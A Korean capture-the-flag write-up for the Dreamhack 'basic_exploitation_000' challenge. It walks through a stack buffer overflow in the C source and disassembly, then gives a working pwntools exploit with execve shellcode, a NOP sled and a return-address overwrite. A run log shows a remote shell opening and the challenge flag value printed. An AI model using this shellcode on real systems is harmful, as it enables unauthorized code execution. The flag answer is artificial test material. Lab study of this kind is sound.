
우선 문제를 읽어보면 취약점을 찾아 셀을 획득해 flag파일을 읽는 것이다.
일단 코드부터 살펴보겠다.
⚡ root ~/Downloads cat basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80]; // 128 Byte 크기의 문자열 변수 선언
initialize();
printf("buf = (%p)\n", buf); // buf의 주소 출력
scanf("%141s", buf); // buf에 141 Byte 크기의 문자열을 입력받음
return 0;
}
buf 의 크기는 128 Byte 밖에 안되는데, scanf("%141s", buf) 를 통해서
141 Byte 크기의 입력을 받기 때문에 버퍼 오버플로우가 발생한다.
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: add esp,0xffffff80
0x080485df <+6>: call 0x8048592 <initialize> // initialize() 함수 호출
0x080485e4 <+11>: lea eax,[ebp-0x80] // eax = buf(ebp-128)
0x080485e7 <+14>: push eax // push eax
0x080485e8 <+15>: push 0x8048699 // push "buf = (%p)\n"
0x080485ed <+20>: call 0x80483f0 <printf@plt> // printf("buf = (%p)\n", buf)
0x080485f2 <+25>: add esp,0x8
0x080485f5 <+28>: lea eax,[ebp-0x80] // eax = buf(ebp-128)
0x080485f8 <+31>: push eax // push buf(ebp-128)
0x080485f9 <+32>: push 0x80486a5 // push "%141s"
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt> // scanf(%141s", buf)
0x08048603 <+42>: add esp,0x8
0x08048606 <+45>: mov eax,0x0
0x0804860b <+50>: leave
0x0804860c <+51>: ret
End of assembler dump.
다음은 gdb로 어셈블리어를 본 코드이다.
buf 의 주소는 printf() 로 출력을 해주기 때문에 따로 찾을 필요 없고,
shellcode 는 scanf() 우회 쉘 코드인 26 Byte 쉘 코드를 사용하면 된다.
페이로드는buf~EBP ← shellcode[26] + NOP[106]
RET ← buf_address[4]로 구성해서 공격을 하면 된다.
from pwn import *
p = remote("host3.dreamhack.games", 12129) # 원격 서버 접속
# scanf() 우회 shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
buf = int(p.recv()[7:17], 16) # 출력 데이터인 buf = (0xffffcfb8)에서 0xffffcfb8 (index: 7 ~ 17)만 16진수로 buf에 저장
payload = shellcode # payload = shellcode[26]
payload += b"\x90"*106 # payload = shellcode[26] + NOP[106]
payload += p32(buf) # payload = shellcode[26] + NOP[106] + buf_address[4]
p.sendline(payload) # payload 입력
p.interactive() # user에게 입출력을 다시 돌려줌
pwntools로 익스플로잇 코드를 짜보았다.
⚡ root ~/dreamhack python exploit001.py
[+] Opening connection to host3.dreamhack.games on port 12129: Done
[*] Switching to interactive mode
$ ls
$ ls
basic_exploitation_000
flag
$ cat flag
DH{465dd453b2a25a26a847a93d3695676d}$
$
[*] Got EOF while reading in interactive
익스플로잇 코드를 짜보면 다음과 같이 플래그가 출력된다.
DH{465dd453b2a25a26a847a93d3695676d}